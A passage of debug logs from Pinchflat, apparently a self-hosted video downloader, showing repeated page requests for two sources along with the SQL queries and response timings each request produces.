short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:03:11.972 [info] Sent 200 in 34ms 06:03:12.121 [info] GET /sources/36/ 06:03:12.122 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 06:03:12.123 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=163.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:12.125 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=163.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:12.126 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=162.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 06:03:12.127 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=0.1ms idle=161.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 06:03:12.128 [debug] QUERY OK source="settings" db=0.5ms idle=159.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.129 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.130 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.135 [debug] QUERY OK source="sources" db=0.5ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:12.137 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=8.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 06:03:12.140 [debug] QUERY OK source="media_items" db=2.1ms idle=9.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:03:12.142 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:12.143 [debug] QUERY OK source="media_items" db=0.5ms idle=11.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 06:03:12.145 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=7.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:03:12.148 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:12.150 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=8.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 06:03:12.152 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=8.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:03:12.155 [info] Sent 200 in 33ms 06:03:12.310 [info] GET /sources/34/ 06:03:12.311 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 06:03:12.312 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=168.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:12.314 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.1ms idle=164.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:12.316 [debug] QUERY OK source="tasks" db=0.9ms idle=164.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 06:03:12.316 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=163.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 06:03:12.317 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.318 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.320 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.324 [debug] QUERY OK source="sources" db=0.5ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:12.326 [debug] QUERY OK source="media_items" db=1.9ms idle=8.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 06:03:12.330 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=9.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:03:12.331 [debug] QUERY OK source="sources" db=0.4ms idle=12.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:12.332 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=12.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 06:03:12.334 [debug] QUERY OK source="media_items" db=1.0ms idle=8.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:03:12.336 [debug] QUERY OK source="sources" db=0.4ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:12.338 [debug] QUERY OK source="media_items" db=1.4ms idle=6.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 06:03:12.341 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=7.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:03:12.345 [info] Sent 200 in 35ms 06:03:12.498 [info] GET /sources/36/ 06:03:12.499 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 06:03:12.500 [debug] QUERY OK source="sources" db=0.4ms idle=167.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:12.501 [debug] QUERY OK source="media_profiles" db=0.9ms idle=166.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:12.503 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=165.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 06:03:12.504 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=164.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 06:03:12.505 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=163.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.506 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.506 [debug] QUERY OK source="settings" db=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.507 [debug] QUERY OK source="sources" db=0.0ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:12.508 [debug] QUERY OK source="media_items" db=0.3ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 06:03:12.509 [debug] QUERY OK source="media_items" db=0.5ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN 